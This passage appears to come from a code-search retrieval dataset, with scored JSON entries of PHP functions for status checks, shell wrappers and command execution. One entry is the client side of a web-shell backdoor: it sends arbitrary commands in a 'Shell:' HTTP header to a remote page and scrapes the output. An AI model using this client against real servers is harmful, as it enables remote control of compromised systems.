$this->dataCached)\n\t\t\treturn;\n\n\t\t$cmdArgs = [];\n\t\t$cmdArgs[] = \"--noheadings\";\n\t\t$cmdArgs[] = \"--separator '|'\";\n\t\t$cmdArgs[] = \"-C\";\n\t\t$cmdArgs[] = \"-o lv_uuid,lv_name,vg_name,lv_size,lv_attr,\".\n\t\t \"lv_kernel_major,lv_kernel_minor,vg_attr\";\n\t\t$cmdArgs[] = \"--unit b\";\n\t\t$cmdArgs[] = escapeshellarg($this->getDeviceFile());\n\t\t$cmd = new \\OMV\\System\\Process(\"lvdisplay\", $cmdArgs);\n\t\t$cmd->setRedirect2toFile(\"/dev/null\");\n\t\t$cmd->execute($output);\n\n\t\t// Parse command output:\n\t\t// CRMY9K-pnVP-oxNv-bimZ-1WoX-FoAe-yLgGwk|lv01_snapshot_20170412-150418|vg01|569410322432B|swi-aos---|253|1\n\t\t$output = explode(\"|\", trim($output[0]));\n\n\t\t$this->uuid = $output[0];\n\t\t$this->lvName = $output[1];\n\t\t$this->vgName = $output[2];\n\t\t$this->size = substr($output[3], 0, -1);\n\t\t$this->lvAttr = $output[4];\n\t\t$this->kernelMajor = intval($output[5]);\n\t\t$this->kernelMinor = intval($output[6]);\n\t\t$this->vgAttr = $output[7];\n\n\t\t// Set flag to mark information has been successfully read.\n\t\t$this->dataCached = TRUE;\n\t}", "title": "" }, { "docid": "af8f887649bee2641a232bcfc581a4ef", "score": "0.5418812", "text": "public function test8 () {\r\n system(\"/data/camus/1.sh\",$status);\r\n if($status == \"true\"){\r\n echo \"1\";\r\n echo \"1\";\r\n }else{\r\n echo \"0\";\r\n echo \"0\";\r\n }\r\n // var_dump($data);\r\n }", "title": "" }, { "docid": "7898ade650b02480523750483d19fc9e", "score": "0.5402099", "text": "public function handle()\n {\n $this->info('Grab MP status info...');\n try {\n $cachet = json_decode($this->client->get(config('truckersmp.status_url'))->getBody()->getContents(), false, 512, JSON_THROW_ON_ERROR);\n\n $status = 1;\n\n /** @noinspection ForeachSourceInspection */\n $except = [];\n foreach ($cachet->data as $component) {\n if (in_array($component->id, $except, true)) {\n continue;\n }\n\n if ($component->status > $status) {\n $status = $component->status;\n }\n }\n\n $text_status = collect($cachet->data)->where('status', '>', 1)->whereNotIn('id', $except)->except('name')->implode('name', ', ');\n } catch (Exception $e) {\n $status = 'red';\n $text_status = null;\n }\n\n switch ($status) {\n case 1:\n $status = 'green';\n break;\n case 2:\n $status = 'blue';\n break;\n case 3:\n $status = 'yellow';\n break;\n default:\n $status = 'red';\n }\n\n if (!$this->option('quiet')) {\n dump($status);\n dump($text_status);\n }\n Cache::forever('status:status', $status);\n Cache::forever('status:text_status', $text_status);\n\n return null;\n }", "title": "" }, { "docid": "98d51d243e0a09f3e719aa97a2d3d56f", "score": "0.53432447", "text": "function fpm_get_status() { }", "title": "" }, { "docid": "54d39e4b1c73443ccd5d8b14e9ec9f58", "score": "0.53377515", "text": "public function doStatus() {}", "title": "" }, { "docid": "a15b86744285f0d1af6246a945642959", "score": "0.5300742", "text": "public function status() {\n return $this->doCurl(\"GET\", $this->cacheDB, \"\", \"\");\n }", "title": "" }, { "docid": "86b670575bd8bb7772b7c3b7202d3756", "score": "0.52693856", "text": "function procStat()\n{\n $stats = @file_get_contents(\"/proc/stat\");\n echo \"<pre>\";\n print_r($stats);\n echo \"</pre>\";\n}", "title": "" }, { "docid": "2a09dae374c0fe3c480dd0043f44b72f", "score": "0.52616316", "text": "public function get($params, $context)\n {\n $this->validateMethodContext($context, [\"role\" => OMV_ROLE_ADMINISTRATOR]);\n $cmd = new \\OMV\\System\\Process(\"grep -c folder2ram /proc/mounts\");\n $cmd->setQuiet(true);\n $cmd->execute($output, $exitStatus);\n return [\n \"status\" => intval($output[0]) > 1 ? gettext('running') : gettext('not running')\n ];\n }", "title": "" }, { "docid": "3c42bbc6355a63359f409c2482dd8683", "score": "0.52541304", "text": "function slavestatus($host, $username, $password, $port = 3306) {\n if(!mysql_connect(\"$host:$port\",$username,$password)) {\n return FALSE;\n }\n $result = mysql_query(\"show slave status\");\n $timeResult = mysql_query(\"select now()\");\n $slave_stat['time'] = mysql_result($timeResult,0,0);\n $slave_stat['host'] = $host;\n $slave_stat['port'] = $port;\n while($status = mysql_fetch_array($result)) {\n $slave_stat['file'] = $status[5];\n $slave_stat['position'] = $status[6];\n $slave_stat['sql_run'] = $status[10];\n $slave_stat['io_run'] = $status[11];\n $slave_stat['errorNum'] = $status[18];\n $slave_stat['errorMeg'] = $status[19];\n }\n return $slave_stat;\n}", "title": "" }, { "docid": "17b507c0b5d292eff8ee37f4d0d32293", "score": "0.52538043", "text": "function GetStatistics() {\n\t\tif ( $this->debugging ) echo \"mpd->GetStatistics()\\n\";\n\t\t$stats = $this->SendCommand(MPD_CMD_STATISTICS);\n\t\tif ( !$stats ) {\n\t\t\treturn NULL;\n\t\t} else {\n\t\t\t$statsArray = array();\n\t\t\t$statsLine = strtok($stats,\"\\n\");\n\t\t\twhile ( $statsLine ) {\n\t\t\t\tlist ( $element, $value ) = split(\": \",$statsLine);\n\t\t\t\t$statsArray[$element] = $value;\n\t\t\t\t$statsLine = strtok(\"\\n\");\n\t\t\t} \n\t\t}\n\t\tif ( $this->debugging ) echo \"mpd->GetStatistics() / return: \" . print_r($statsArray) .\"\\n\";\n\t\treturn $statsArray;\n\t}", "title": "" }, { "docid": "37938484de3ac7e37c7292ca6aa0fc90", "score": "0.52370393", "text": "public function host_status()\n\t{\n\t\tif ($this->host_data_present)\n\t\t\treturn;\n\n\t\t$stats = new Stats_Model();\n\t\t$this->hst = $stats->get_stats('host_totals');\n\t\t$this->hst_perf = $stats->get_stats('host_performance', null, $this->ps->program_start);\n\n\t\t$all = $this->hst->up + $this->hst->down + $this->hst->unreachable;\n\t\tif ($all == 0)\n\t\t\t$this->percent_host_health = 0.0;\n\t\telse\n\t\t\t$this->percent_host_health = number_format($this->hst->up/$all*100, 1);\n\n\t\t$this->host_data_present = true;\n\t\treturn;\n\t}", "title": "" }, { "docid": "ca1068fe1bacc2da9f8652d3677efa7b", "score": "0.5228664", "text": "function api_query($command, $server){\n\t$status = json_decode(file_get_contents(trim(\"http://\".$server.\":4569/$command\")));\n\treturn $status;\n}", "title": "" }, { "docid": "827e15606e650f1bb5cf29c08f349cc5", "score": "0.5206963", "text": "public function exec(string $command): array;", "title": "" }, { "docid": "95a50e43e5158943b42fa0050457d7d5", "score": "0.5202927", "text": "function smbstatus() {\n \twhile (apc_fetch('smb_lock')) {\n sleep(1);\n \t}\n\tif (!($data=apc_fetch('smb_login'))) {\n\t\tapc_add('smb_lock',1,60);\n\t\tunset($data);\n\t\trequire_once (\"ldap.inc.php\");\n\t\texec(\"sudo smbstatus -b 2>/dev/null\", $resultat);\n\t\tforeach ($resultat as $ligne) {\n\t\t\t$table = preg_split(\"/[\\s]+/\", $ligne);\n\t\t\tif ((count($table) == 8) && ($table[1] != root) && ($table[1] != nobody) && (preg_match(\"/(.+)\\\\$/\", $table[1]) === 0)) {\n\t $mp_curr=search_machines(\"(&(|(ipHostNumber=$table[3])(cn=$table[3]))(objectClass=ipHost))\",\"computers\");\n \t if (isset($mp_curr[0][\"cn\"])) {\n \t $hostname=$mp_curr[0][\"cn\"];\n\t\t\t\t\t$data[$hostname][\"login\"] = $table[1];\n\t\t\t\t\t$data[$hostname][\"ip\"] = preg_replace(\"/\\(ipv4:(.+):(.+)\\)/\", \"\\${1}\", $table[4]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tksort($data);\n\t\tapc_add('smb_login', $data, 120);\n\t\tapc_delete('smb_lock');\n\t}\n\treturn($data);\n}", "title": "" }, { "docid": "2df7ae76d59fc7b9f22d1feaf14c516c", "score": "0.5201476", "text": "public function status($short = false) {\n $command = 'status' . ($short ? ' -s' : '');\n\n return $this->run($command);\n\n return $msg;\n }", "title": "" }, { "docid": "db25b87eca1ca0b758fd89a6b0193585", "score": "0.5190145", "text": "public function get_status();", "title": "" }, { "docid": "993bc0210864b24b09026a2527d06d8c", "score": "0.51769185", "text": "public function getContent()\n {\n return shell_exec($this->command);\n }", "title": "" }, { "docid": "56cc60dcf00bebd6cbbacd016e10c12d", "score": "0.5159503", "text": "public function getStatus(): array;", "title": "" }, { "docid": "ffc7022f0e32c8baac67f78e3b1373d0", "score": "0.5143346", "text": "private function executeCommand($command)\n\t{\n\t\t$this->log(\"Executing command: `{$command}'.\", Project::MSG_VERBOSE);\n\n\t\t$output = array();\n\t\t$return = null;\n\n\t\tif ($this->passthru) {\n\t\t\tpassthru($command, $return);\n\t\t}\n\t\telse {\n\t\t\texec($command, $output, $return);\n\t\t}\n\n\t\treturn array($return, $output);\n\t}", "title": "" }, { "docid": "c42cb138c0a679c87799c038fdf3aed9", "score": "0.5116779", "text": "public function status(array $path): Result\n\t{\n\t\treturn $this->callSvn('status', false, false, $path);\n\t}", "title": "" }, { "docid": "967f72f2a830db78dd830a1503a7d005", "score": "0.5110482", "text": "public static function exec( $cmd )\n\t{\n\t\t$result = array();\n\t\tif ( substr( PHP_OS, 0, 3 ) == 'WIN' )\n\t\t{\n\t\t\t$result = explode( \"\\n\", shell_exec( $cmd ) );\n\t\t}\n\t\telse\n\t\t{\n\t\t\texec( $cmd, $result );\n\t\t}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "1fe1d3619a2e2da7a4f8e7528d57de73", "score": "0.50956935", "text": "public function exec() {\n\t\treturn curl_exec($this->curl);\n\t}", "title": "" }, { "docid": "b6b3086f17514db8e178c57986228872", "score": "0.5084278", "text": "protected function process_status()\n {\n if(!$this->hasValidResponse(self::PACKET_STATUS))\n {\n return array();\n }\n\n // Return should be JSON, let's validate\n if(($json = json_decode($this->preProcess_status($this->packets_response[self::PACKET_STATUS]))) === NULL)\n {\n throw new GameQ_ProtocolsException(\"JSON response from Tshock protocol is invalid.\");\n }\n\n // Check the status response\n if($json->status != 200)\n {\n throw new GameQ_ProtocolsException(\"JSON status from Tshock protocol response was '{$json->status}', expected '200'.\");\n }\n\n // Set the result to a new result instance\n $result = new GameQ_Result();\n\n // Server is always dedicated\n $result->add('dedicated', TRUE);\n\n // No mods, as of yet\n $result->add('mod', FALSE);\n\n // These are the same no matter what mode the server is in\n $result->add('hostname', $json->name);\n $result->add('game_port', $json->port);\n $result->add('numplayers', $json->playercount);\n $result->add('maxplayers', $json->maxplayers);\n $result->add('map', $json->world);\n $result->add('gameport', $json->port);\n\n // Players are a comma(space) seperated list\n $players = explode(', ', $json->players);\n\n // Do the players\n foreach($players AS $player)\n {\n $result->addPlayer('name', $player);\n }\n\n return $result->fetch();\n }", "title": "" }, { "docid": "d951c7581e6045f8726a84effd7595ac", "score": "0.50784385", "text": "public function get_status() {}", "title": "" }, { "docid": "d951c7581e6045f8726a84effd7595ac", "score": "0.50774413", "text": "public function get_status() {}", "title": "" }, { "docid": "225f4588a3def87c80f49efe06cdc1a0", "score": "0.5072411", "text": "public function get(): array\n {\n $apiPath = str_replace([], [], '/health');\n\n $apiParams = [];\n\n return $this->client->call(Client::METHOD_GET, $apiPath, [\n 'content-type' => 'application/json',\n ], $apiParams);\n }", "title": "" }, { "docid": "23e8a1ad6ed26638d34b77bf2bcd950f", "score": "0.50670564", "text": "function actionGetStatus() {\n\techo json_encode([\n\t\t'Deployment folder' => runGit('rev-parse --show-toplevel')[0],\n\t\t'Current branch' => gitCurrentBranch(),\n\t\t'Current commit' => gitCurrentCommit(),\n\t\t'Remote origin' => gitRemoteOriginUrl(),\n\t\t'DeployCat version' => DEPLOYCAT_VERSION,\n\t\t'PHP version' => phpversion(),\n\t\t'Git version' => runGit('--version')[0],\n\t\t'Operating System' => php_uname(),\n\t]);\n}", "title": "" }, { "docid": "93d026de0675ada14383cadddb673a2a", "score": "0.5057112", "text": "public function exec()\n {\n return curl_exec($this->curl);\n }", "title": "" }, { "docid": "b5fd407f4f9d8c07b153fb4ba5750dfe", "score": "0.5055251", "text": "public function get_status()\n {\n clearos_profile(__METHOD__, __LINE__);\n\n $logs = $this->get_logs();\n $logs = array_reverse($logs);\n\n foreach ($logs as $log) {\n $last = json_decode($log);\n\n // Make sure we're getting valid JSON\n if (!is_object($last))\n continue;\n\n $status = array(\n 'code' => $last->code,\n 'details' => $last->details,\n 'progress' => $last->progress,\n 'overall' => $last->overall,\n 'errmsg' => $last->errmsg,\n 'busy' => $this->is_busy(),\n 'wc_busy' => $this->is_wc_busy()\n ); \n return $status;\n }\n }", "title": "" }, { "docid": "9f4fcac5482c28f0bc022358c8f9d6c8", "score": "0.50389177", "text": "public function execute($cmd)\n\t{\n\t\t$this->log->notify(\"Shell Wrapper\",\"Execute called.Received $cmd\");\n\t\t$handle = popen($cmd.\" 2>&1\", 'r');\n\t\t$output = \"\";\n\t\twhile( !feof($handle) )\n\t\t{\n\t\t\t$output .=fread($handle,4096);\n\t\t}\n\t\treturn $output;\n\t}", "title": "" }, { "docid": "9a4ed3e1d5ad7adf78dc19df8e9c97e5", "score": "0.5038485", "text": "public function handle()\n {\n $url = $this->argument('url');\n $timeout = $this->option('timeout');\n\n if(empty($url)){\n $this->error('Please provide a URL to ping');\n }\n\n $_this = $this;\n $client = new Client();\n $request = new Request('HEAD', $url);\n $response = $client->send($request, [\n 'timeout' => $timeout,\n 'verify' => false,\n 'on_stats' => function (TransferStats $stats) use($_this){\n echo $stats->getEffectiveUri() . \"\\n\";\n echo $stats->getTransferTime() . \"\\n\";\n // var_dump($stats->getHandlerStats());\n $stats_data = $stats->getHandlerStats();\n\n array_walk($stats_data, function(&$value, $key) use (&$stats_data){\n $stats_data[$key] = [ $key , json_encode($value)];\n });\n\n $_this->table(['key','value'], $stats_data);\n\n // You must check if a response was received before using the\n // response object.\n if ($stats->hasResponse()) {\n echo $stats->getResponse()->getStatusCode();\n } else {\n // Error data is handler specific. You will need to know what\n // type of error data your handler uses before using this\n // value.\n var_dump($stats->getHandlerErrorData());\n }\n }\n ]);\n\n $this->info($response->getStatusCode());\n $this->info($response->getReasonPhrase());\n $this->info($response->getProtocolVersion());\n\n }", "title": "" }, { "docid": "3e8e562840f36725be4a6a917ab3b9e9", "score": "0.50171643", "text": "public static function enumerate() {\n\t\t$cmdArgs = [];\n\t\t$cmdArgs[] = \"--noheadings\";\n\t\t$cmdArgs[] = \"--separator '|'\";\n\t\t$cmdArgs[] = \"-C\";\n\t\t$cmdArgs[] = \"-o vg_name,lv_name\";\n\t\t$cmd = new \\OMV\\System\\Process(\"lvdisplay\", $cmdArgs);\n\t\t$cmd->setRedirect2toFile(\"/dev/null\");\n\t\t$cmd->execute($output);\n\t\t$result = [];\n\t\tforeach ($output as $outputk => $outputv) {\n\t\t\t$outputv = explode(\"|\", trim($outputv));\n\t\t\t// Replace '-' with '--' in volume group name.\n\t\t\t$result[] = sprintf(\"/dev/mapper/%s-%s\",\n\t\t\t str_replace(\"-\", \"--\", $outputv[0]),\n\t\t\t str_replace(\"-\", \"--\", $outputv[1]));\n\t\t\t// Alternative device path: /dev/<vg_name>/<lv_name>\n\t\t\t//$list[] = sprintf(\"/dev/%s/%s\", $outputv[0], $outputv[1]);\n\t\t}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "506388f8054b7e3d63b7d2f9ea926d6f", "score": "0.5016108", "text": "public function status()\n {\n (new Status())->execute(\\input(), \\output());\n }", "title": "" }, { "docid": "fbb156148ad61fa3c24452ae054ca438", "score": "0.5012809", "text": "public function getServiceStatus(): HealthCheckResponse;", "title": "" }, { "docid": "95b7cff4b88123319bffaf818b6768ac", "score": "0.5006764", "text": "public function status()\r\n {\r\n parent::status();\r\n\r\n // Get the broken results\r\n $this->res = $this->r->fetch();\r\n\r\n // Move some stuff around\r\n $this->mv('hostname', 'OwningPlayerName');\r\n $this->mv('p1073741825', 'mapname');\r\n $this->mv('p1073741826', 'gametype');\r\n $this->mv('p1073741827', 'servername');\r\n $this->mv('p1073741828', 'custom_mutators');\r\n $this->mv('gamemode', 'open');\r\n $this->mv('s32779', 'gamemode');\r\n $this->mv('s0', 'bot_skill');\r\n $this->mv('s6', 'pure_server');\r\n $this->mv('s7', 'password');\r\n $this->mv('s8', 'vs_bots');\r\n $this->mv('s10', 'force_respawn');\r\n $this->mv('p268435704', 'frag_limit');\r\n $this->mv('p268435705', 'time_limit');\r\n $this->mv('p268435703', 'numbots');\r\n $this->mv('p268435717', 'stock_mutators');\r\n\r\n // Put custom mutators into an array\r\n $this->res['custom_mutators'] = explode(\"\\x1c\", $this->res['custom_mutators']);\r\n\r\n // Delete some unknown stuff\r\n $this->del(array('s1','s9','s11','s12','s13','s14'));\r\n }", "title": "" }, { "docid": "b6161cff1b5e5d7e8b3952367b588e3f", "score": "0.50037414", "text": "public function ping ()\n\t{\n\t\treturn $this->doCurl( 'GET', $this->baseUrl . '/Ping' );\n\t}", "title": "" }, { "docid": "3226ec44203c6d8e928d7bb4e7bf8628", "score": "0.49895933", "text": "public function getHostMsgStatusSet(): array\n {\n if ($this->getUp() === 'true') {\n $this->hostMsgStatusSet[] = sprintf(\"'%s'\", self::STATUS_UP);\n }\n if ($this->getDown() === 'true') {\n $this->hostMsgStatusSet[] = sprintf(\"'%s'\", self::STATUS_DOWN);\n }\n if ($this->getUnreachable() === 'true') {\n $this->hostMsgStatusSet[] = sprintf(\"'%s'\", self::STATUS_UNREACHABLE);\n }\n\n return $this->hostMsgStatusSet;\n }", "title": "" }, { "docid": "cc64724c9a4c75040b1e7e8f88453303", "score": "0.49856058", "text": "function do_something_with_array($hold_array) {\n //Display on screen\n //TO DO: you could pass this info on to another script or save in db instead of displaying on screen\n echo '<br><b><u>EXTENSION STATUS</u></b><br>';\n foreach ($hold_array as $key=>$value) {\n echo $key.' '.$value['Status'].' '.$value['HoldStart'].'<br>';\n }\n flush($fp);\n}", "title": "" }, { "docid": "6e3493ca15062f12df3632758bc16477", "score": "0.49835947", "text": "public static function execute(string $command, bool $returnStatus = true, string $cwd = null)\n {\n $exitStatus = 1;\n\n if ($cwd) {\n chdir($cwd);\n }\n\n // system\n if (function_exists('system')) {\n ob_start();\n system($command, $exitStatus);\n $output = ob_get_clean();\n\n //exec\n } elseif (function_exists('exec')) {\n exec($command, $output, $exitStatus);\n $output = implode(\"\\n\", $output);\n\n //shell_exec\n } elseif (function_exists('shell_exec')) {\n $output = shell_exec($command);\n } else {\n $output = 'Command execution not possible on this system';\n $exitStatus = 0;\n }\n\n if ($returnStatus) {\n return [\n 'output' => trim($output),\n 'status' => $exitStatus\n ];\n }\n\n return trim($output);\n }", "title": "" }, { "docid": "49fd6f8d346e23805799ece2b266a366", "score": "0.49823663", "text": "public function checkAction()\n {\n $this->sessionClose(); // long running action, close session\n $response = [];\n\n if ($this->request->isPost()) {\n $backend = new Backend();\n $response['msg_uuid'] = trim($backend->configdRun('firmware check', true));\n $response['status'] = 'ok';\n } else {\n $response['status'] = 'failure';\n }\n\n return $response;\n }", "title": "" }, { "docid": "a470da5ae2d3bb5ee0d504af28375f17", "score": "0.49790332", "text": "function show_status()\n\t{\n\t\tif($this->show_status)\n\t\t{\n\t\t\t\n\t\t\t$array = array(\n\t\t\t\t'total_reads' => $this->total_reads,\n\t\t\t\t'total_writes' => $this->total_writes,\n\t\t\t\t'total_queries' => $this->total_queries,\n\t\t\t\t'query_list' => $this->total_queries_sql);\n\n\t\t\tif($this->detailed_loging)\n\t\t\t{\n\t\t\t\t$array['detailed'] = $this->detailed_logs;\n\t\t\t}\n\n\t\t\tpr($array,true);\n\t\t}\n\t}", "title": "" }, { "docid": "7e970f54847617f0aa2526ccaef934ca", "score": "0.49759728", "text": "public function fetchCommand()\n {\n $stream = new StreamIterator('http://127.0.0.1:2113', 'streams/%24ce-User', 10, true);\n #\\TYPO3\\Flow\\var_dump($t->count());\n foreach ($stream as $key => $item) {\n \\TYPO3\\Flow\\var_dump($item, $key);\n #exit;\n #$this->outputLine('Event: %s: %s', [$key, $item['summary']]);\n }\n $this->outputLine('Done');\n }", "title": "" }, { "docid": "93d2ad759223459081c0c256b427b9e1", "score": "0.49571347", "text": "public function stats(): array\n {\n $cmd = Commander::getCommand(Beanstalkd::CMD_STATS);\n\n $result = $this->dispatchCommand($cmd);\n\n return Beanstalkd::processStats($result['data']);\n }", "title": "" }, { "docid": "de99348c927cfebb0d2cfc549dc2a27d", "score": "0.49545634", "text": "public function getStatus() {\n $helper = Mage::helper('unityreports');\n $db = Mage::getModel('core/resource')->getConnection('core_write');\n $table = Mage::getModel('unityreports/utils')->getTableName('cron/schedule');\n $result = $db->query($query = \"SELECT executed_at FROM {$table} \n WHERE DATE(executed_at)='\" . date('Y-m-d') . \"' \n ORDER BY executed_at DESC \n LIMIT 0,1\");\n\n if (!$result) {\n $helper->debug(\"Cannot query: {$query}\");\n return FALSE;\n }\n\n $row = $result->fetch(PDO::FETCH_ASSOC);\n if (!$row) {\n return array('status' => 0);\n }\n\n return array('status' => 1, 'executed_at' => $row['executed_at']);\n }", "title": "" }, { "docid": "2da5ecce36cf423bef5e32505db7c826", "score": "0.4953646", "text": "function GetApiUsagecount() {\n\t$URL = GETUSAGE;\n\t$params = array();\n\t$status = ExecApi($params,$URL);\n\t$livestatus = json_decode($status);\n\tprint_r($livestatus);exit;\n}", "title": "" }, { "docid": "f199a9b378573d090442ad44dd43913c", "score": "0.4951429", "text": "public function getStatus()\n {\n return $this->curl->getStatus();\n }", "title": "" }, { "docid": "f7ba31483843f4de34f664847144989b", "score": "0.4945627", "text": "function ExcuteShell($cmd)\r\n{\r\n\t$output = shell_exec($cmd);\r\n\r\n}", "title": "" }, { "docid": "c2a81b8dab86a2d969dfb2cbc1d6312c", "score": "0.49450234", "text": "public function getStatus()\n {\n $response = app('api')->get('status', [\n 'headers' => $this->header\n ]);\n\n return $this->getContent($response);\n }", "title": "" }, { "docid": "acd5e03616929717302d0912e0054d91", "score": "0.494095", "text": "public function GetExecuteStatus(){\r\n return $this->execute_status;\r\n }", "title": "" }, { "docid": "f7726f9b70712d7a1cd23e191f90240b", "score": "0.4937882", "text": "static function get_device_status($device_id) {\n $db = self::get_connection();\n $query = $db->prepare(static::SQL_GET_STATUS);\n $query->bind_param('i', $device_id);\n $query->execute();\n $result = $query->get_result();\n if ($row = $result->fetch_object()) {\n return array('id' => $device_id, 'status' => $row->status);\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "e4f659f24b8dc2b23b687ca5b1668e08", "score": "0.49302405", "text": "function exec($cmd)\r\n\t{\r\n\t\tif(!strlen($this->data))\t$shell = $cmd;\r\n\t\telse \t$shell = str_replace('<CMD>', addslashes($cmd), $this->data);\r\n\t\t\r\n\t\t$fp = fsockopen($this->host, $this->port, &$errno, &$errstr, 30);\r\n\t\t\r\n\t\t$req = \"GET \" . $this->page . \" HTTP/1.1\\r\\n\";\r\n\t\t$req .= \"Host: \" . $this->host . ( $this->port!=80 ? ':'.$this->port : '' ) . \"\\r\\n\";\r\n\t\t$req .= \"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\\r\\n\";\r\n\t\t$req .= \"Shell: $shell\\r\\n\";\r\n\t\t$req .= \"Connection: close\\r\\n\\r\\n\";\r\n\t\t\r\n\t\tunset($shell);\r\n\r\n\t\tfputs($fp, $req);\r\n\t\t\r\n\t\t$content = '';\r\n\t\twhile(!feof($fp)) $content .= fgets($fp, 128);\r\n\t\t\r\n\t\tfclose($fp);\r\n\t\t\r\n\t\t# Remove headers\r\n\t\t$data = explode(\"\\r\\n\\r\\n\", $content);\r\n\t\t$headers = array_shift($data);\r\n\t\t$content = implode(\"\\r\\n\\r\\n\", $data);\r\n\t\t\r\n\t\tif(preg_match(\"#Transfer-Encoding:.*chunked#i\", $headers))\r\n\t\t\t$content = $this->unchunk($content);\r\n\t\r\n\t\tpreg_match($this->regex, $content, $data);\r\n\t\t\r\n\t\tif($data[1][ strlen($data)-1 ] != \"\\n\") $data[1] .= \"\\n\";\r\n\t\t\r\n\t\treturn $data[1];\r\n\t}", "title": "" }, { "docid": "19f5bd491016e1c1eea901ff6ff573e2", "score": "0.49281785", "text": "public function executeReadiness()\n {\n $this->healthCheck->checkExtensions();\n $this->healthCheck->checkExtensionsConfig();\n $this->healthCheck->checkPermissions();\n $this->healthCheck->checkSession();\n $this->healthCheck->checkDatabase();\n $this->healthCheck->checkRabbit();\n $this->healthCheck->checkCache();\n $this->healthCheck->checkMigrations();\n\n return $this->generateResponse($this->healthCheck);\n }", "title": "" }, { "docid": "7c5e8bcef26dbf01d1da088d191f37c0", "score": "0.4922761", "text": "protected function getList(): array\n {\n\n preg_match_all('/(\\d+?)(?=:):(.*?)(?=:):(.*?)(?=:):(.*?)(?=:):(.*?)(?=\\s{3})/', $this->stdout, $output_array);\n $outer = [];\n $inner = [];\n for ($i = 0; $i < count($output_array[0]); $i++) {\n unset($inner);\n $inner = null;\n if (count($output_array) > 2) {\n $inner = [];\n for ($j = 2; $j < count($output_array); $j++) {\n $value = trim((string)$output_array[$j][$i]);\n switch ($j) {\n case 5:\n $value = false;\n if ($output_array[$j][$i] === \"active\") {\n $value = true;\n }\n break;\n default:\n switch (true) {\n case $value === \"true\":\n $value = true;\n break;\n case $value === \"false\":\n $value = false;\n break;\n case is_numeric($value):\n $value = (float)$value;\n break;\n case empty($value):\n $value = null;\n break;\n }\n break;\n }\n $inner[] = $value;\n }\n }\n $outer[] = $inner;\n }\n return $outer;\n\n }", "title": "" }, { "docid": "70d95beaa12020cb875da3671fdec017", "score": "0.4921069", "text": "function parseStatus($resp) {\n\n\t// this return probably needs a redo\n\tif (is_null($resp)) {\n\t\treturn NULL;\n\t\t//workerLog('parseStatus(): NULL return');\n\t}\n\telse {\n\t\t$array = array();\n\t\t$line = strtok($resp, \"\\n\");\n\n\t\twhile ($line) {\n\t\t\tlist($element, $value) = explode(': ', $line, 2);\n\t\t\t$array[$element] = $value;\n\t\t\t$line = strtok(\"\\n\");\n\t\t}\n\n\t\t// elapsed time\n\t\t// RADIO - time: 293:0, elapsed: 292.501, duration not present\n\t\t// SONG - time: 4:391, elapsed: 4.156, duration: 391.466\n\t\t// if state is stop then time, elapsed and duration are not present\n\t\t// time x:y where x = elapsed ss, y = duration ss\n\t\t$time = explode(':', $array['time']);\n\n\t\t// stopped\n\t\tif ($array['state'] == 'stop') {\n\t\t\t$percent = '0';\n\t\t\t$array['elapsed'] = '0';\n\t\t\t$array['time'] = '0';\n\t\t}\n\t\t// radio, upnp\n\t\telseif (!isset($array['duration']) || $array['duration'] == 0) { // @ohinckel https: //github.com/moode-player/moode/pull/13\n\t\t\t$percent = '0';\n\t\t\t$array['elapsed'] = $time[0];\n\t\t\t$array['time'] = $time[1];\n\t\t}\n\t\t// song file\n\t\telse {\n\t\t\tif ($time[0] != '0') {\n\t\t\t\t$percent = round(($time[0] * 100) / $time[1]);\n\t\t\t\t$array['elapsed'] = $time[0];\n\t\t\t\t$array['time'] = $time[1];\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$percent = '0';\n\t\t\t\t$array['elapsed'] = $time[0];\n\t\t\t\t$array['time'] = $time[1];\n\t\t\t}\n\t\t}\n\n\t\t$array['song_percent'] = $percent;\n\t\t$array['elapsed'] = $time[0];\n\t\t$array['time'] = $time[1];\n\n\t\t// sample rate\n\t\t// example formats for $array['audio'], dsd64:2, dsd128:2, 44100:24:2\n\t \t$audio_format = explode(':', $array['audio']);\n\t \t$array['audio_sample_rate'] = formatRate($audio_format[0]);\n\n\t\t// bit depth\n\t\tif (strpos($array['audio_sample_rate'], 'dsd') !== false) {\n\t\t\t$array['audio_sample_depth'] = $array['audio_sample_rate'];\n\t\t}\n\t\telse {\n\t\t\t// workaround for AAC files that show \"f\" for bit depth, assume decoded to 24 bit\n\t\t \t$array['audio_sample_depth'] = $audio_format[1] == 'f' ? '24' : $audio_format[1];\n\t\t}\n\n\t \t// channels\n\t \tif (strpos($array['audio_sample_rate'], 'dsd') !== false) {\n\t \t\t$array['audio_channels'] = formatChan($audio_format[1]);\n\t \t}\n\t \telse {\n\t\t \t$array['audio_channels'] = formatChan($audio_format[2]);\n\t\t}\n\n\t\t// bit rate\n\t\tif (!isset($array['bitrate']) || trim($array['bitrate']) == '') {\n\t\t\t$array['bitrate'] = '0 bps';\n\t\t}\n\t \telse {\n\t\t\tif ($array['bitrate'] == '0') {\n\t\t\t\t$array['bitrate'] = '';\n\t\t\t\t// for aiff, wav files and some radio stations ex: Czech Radio Classic\n\t\t\t \t//$array['bitrate'] = number_format((( (float)$audio_format[0] * (float)$array['audio_sample_depth'] * (float)$audio_format[2] ) / 1000000), 3, '.', '');\n\t\t\t}\n\t\t\telse {\n\t\t\t \t$array['bitrate'] = strlen($array['bitrate']) < 4 ? $array['bitrate'] : substr($array['bitrate'], 0, 1) . '.' . substr($array['bitrate'], 1, 3) ;\n\t\t\t \t$array['bitrate'] .= strpos($array['bitrate'], '.') === false ? ' kbps' : ' mbps';\n\t\t\t}\n\t\t}\n\t}\n\n\treturn $array;\n}", "title": "" }, { "docid": "85ba51b6fe4423b75eeb05150db1e327", "score": "0.49190134", "text": "public function exec ()\n\t{\n\t\t$this->_setMyDefault();\n\t\t$this->response = curl_exec($this->ch);\n\t\treturn $this->response;\n\t}", "title": "" }, { "docid": "da3c9918e1c3d794e342883962a3d2d6", "score": "0.49179116", "text": "public function getServerStatus() {\n return $this->getCommand('GetServerStatus')->execute();\n }", "title": "" }, { "docid": "7ef4816e25fd68643a5db62bff1c5f19", "score": "0.49146986", "text": "function aktif_diskon(){\n\t\t\t$sql= \"SELECT * FROM diskon_tbl WHERE status=1\";\n\t\t\t$query = $this->db->query($sql);\n\t\t\treturn $query->result_array();\n\t\t}", "title": "" }, { 